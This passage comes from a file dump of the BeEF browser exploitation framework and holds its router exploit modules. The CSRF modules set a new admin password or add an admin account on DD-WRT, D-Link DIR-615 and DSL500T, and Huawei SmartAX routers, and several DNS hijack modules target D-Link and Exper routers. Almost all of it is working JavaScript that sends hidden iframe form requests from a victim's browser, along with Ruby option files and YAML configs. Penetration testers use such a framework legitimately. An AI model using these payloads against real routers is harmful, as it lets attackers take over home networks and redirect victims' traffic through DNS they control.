    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ddwrt_v24_sp1_csrf:\n            enable: true\n            category: ['Exploits', 'Router']\n            name: 'DD-WRT v24 SP1 CSRF'\n            description: 'Abuses a CSRF vulnerability in DD-WRT v24 SP1 to enable remote\n                administration with a new root password.'\n            authors: ['soh_cah_toa']\n            target:\n                working: ['ALL']\n"
  },
  {
    "path": "modules/exploits/router/ddwrt_v24_sp1_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Ddwrt_v24_sp1_csrf < BeEF::Core::Command\n  def self.options\n    [\n      {\n        'name' => 'host',\n        'ui_label' => 'Router web root',\n        'value' => 'http://192.168.1.1/'\n      },\n      {\n        'name' => 'password',\n        'ui_label' => 'Desired password',\n        'value' => '__BeEF__'\n      },\n      {\n        'name' => 'port',\n        'ui_label' => 'Desired web ui port',\n        'value' => '8080'\n      },\n      {\n        'name' => 'telnet',\n        'ui_label' => 'Desired telnet port',\n        'value' => '23'\n      }\n    ]\n  end\n\n  def post_execute\n    save('result' => @datastore['result'])\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/dlink_dir_615_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var dir615_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"tools_admin.php\", \"POST\", \"application/x-www-form-urlencoded\",\n      [{'type':'hidden', 'name':'ACTION_POST',     'value':'1'} ,\n       {'type':'hidden', 'name':'apply',           'value':'Save Settings'},\n       {'type':'hidden', 'name':'admin_name',      'value':'admin'},\n       {'type':'hidden', 'name':'admin_password1', 'value':passwd},\n       {'type':'hidden', 'name':'admin_password2', 'value':passwd},\n       {'type':'hidden', 'name':'rt_enable',       'value':'on'},\n       {'type':'hidden', 'name':'rt_enable_h',     'value':'1'},\n       {'type':'hidden', 'name':'rt_ipaddr',       'value':'0.0.0.0'},\n       {'type':'hidden', 'name':'rt_port',         'value':'8080'}\n      ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(dir615_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/dlink_dir_615_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        dlink_dir_615_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"D-Link DIR-615 Password Wipe\"\n            description: \"Attempts to enable remote administration on port 8080 and change the admin password on a D-Link DIR-615 router.\"\n            authors: [\"antisnatchor\", \"n0x00\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/dlink_dir_615_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dir_615_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2640b_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/ddnsmngr.cmd';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n\t// change DNS\n\tvar dlink_2640b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'action', 'value': 'apply'},\n                {'type':'hidden', 'name':'service', 'value': '0'},\n                {'type':'hidden', 'name':'enbl', 'value': '0'},\n\t\t{'type':'hidden', 'name':'dnsPrimary', 'value': dns1},\n\t\t{'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n\t\t{'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n\t\t{'type':'hidden', 'name':'dnsRefresh', 'value': '1'},\n                {'type':'hidden', 'name':'dns6Type', 'value': 'DHCP'}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(dlink_2640b_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2640b_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# http://www.exploit-db.com/exploits/36105/\n#\nbeef:\n    module:\n        dlink_2640b_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"D-Link DSL-2640B DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a D-Link DSL-2640B router.<br/><br/>The D-Link DSL-2640B reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2640b_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_2640b_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2640u_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var dlink_dsl2640u_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(dlink_dsl2640u_adsl_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2640u_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/42195/\n#\nbeef:\n    module:\n        dlink_dsl2640u_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"D-Link DSL-2640U ADSL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a D-Link DSL-2640U ADSL router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2640u_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dsl2640u_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/Forms/dns_1';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n\t// change DNS\n\tvar dlink_dsl2740r_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'Enable_DNSFollowing',  'value':'1'},\n\t\t{'type':'hidden', 'name':'dnsPrimary', 'value':dns1},\n\t\t{'type':'hidden', 'name':'dnsSecondary', 'value':dns2}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(dlink_dsl2740r_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2740r_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# http://www.exploit-db.com/exploits/35917/\n#\nbeef:\n    module:\n        dlink_dsl2740r_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"D-Link DSL-2740R DNS Hijack\"\n            description: \"Attempts to change the DNS setting on D-Link DSL-2740R routers.<br/><br/>D-Link DSL-2740R routers reportedly do not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2740r_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dsl2740r_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2780b_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var dlink_dsl2780b_adsl_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(dlink_dsl2780b_adsl_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2780b_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/37237/\n#\nbeef:\n    module:\n        dlink_dsl2780b_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"D-Link DSL-2780B ADSL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a D-Link DSL-2780B ADSL router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl2780b_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dsl2780b_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl500t_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var dsl500t_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"cgi-bin/webcm\", \"POST\", \"application/x-www-form-urlencoded\",\n      [{'type':'hidden', 'name':'getpage', 'value':'../html/tools/usrmgmt.htm'} ,\n       {'type':'hidden', 'name':'security:settings/username', 'value':'admin'},\n       {'type':'hidden', 'name':'security:settings/password', 'value':passwd},\n       {'type':'hidden', 'name':'security:settings/password_confirm', 'value':passwd},\n       {'type':'hidden', 'name':'security:settings/idle_timeout', 'value':'30'}\n      ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(dsl500t_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl500t_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        dlink_dsl500t_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"D-Link DSL500T CSRF\"\n            description: \"Attempts to change the password on a D-Link DSL500T router.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl500t_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dsl500t_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl526b_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var dlink_dsl526b_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(dlink_dsl526b_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl526b_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/37241/\n#\nbeef:\n    module:\n        dlink_dsl526b_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"D-Link DSL-526B ADSL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a D-Link DSL-526B ADSL router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/dlink_dsl526b_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dsl526b_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/exper_ewm01_adsl_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var exper_ewm01_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(exper_ewm01_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/exper_ewm01_adsl_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40367/\n#\nbeef:\n    module:\n        exper_ewm01_adsl_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Exper EWM-01 ADSL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a Exper EWM-01 ADSL router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/exper_ewm01_adsl_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Exper_ewm01_adsl_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/huawei_smartax_mt880/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway  = '<%= @base %>'; \n  var username = '<%= @username %>';\n  var passwd   = '<%= @password %>';\n  var timeout  = 15;\n\n  var huawei_smartax_mt880_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  huawei_smartax_mt880_iframe_<%= @command_id %>.setAttribute('src', gateway+\"Action?user_id=\"+username+\"&priv=1&pass1=\"+passwd+\"&pass2=\"+passwd+\"&id=70\");\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(huawei_smartax_mt880_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/huawei_smartax_mt880/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Huawei_smartax_mt880_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Huawei SmartAX MT880 CSRF\"\n            description: \"Attempts to add an administrator account on a Huawei SmartAX MT880 router.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/huawei_smartax_mt880/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Huawei_smartax_mt880_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/' },\n      { 'name' => 'username', 'ui_label' => 'Desired username', 'value' => 'BeEF' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/iball_baton_ib_wra150n_dns_hijack/command.js",
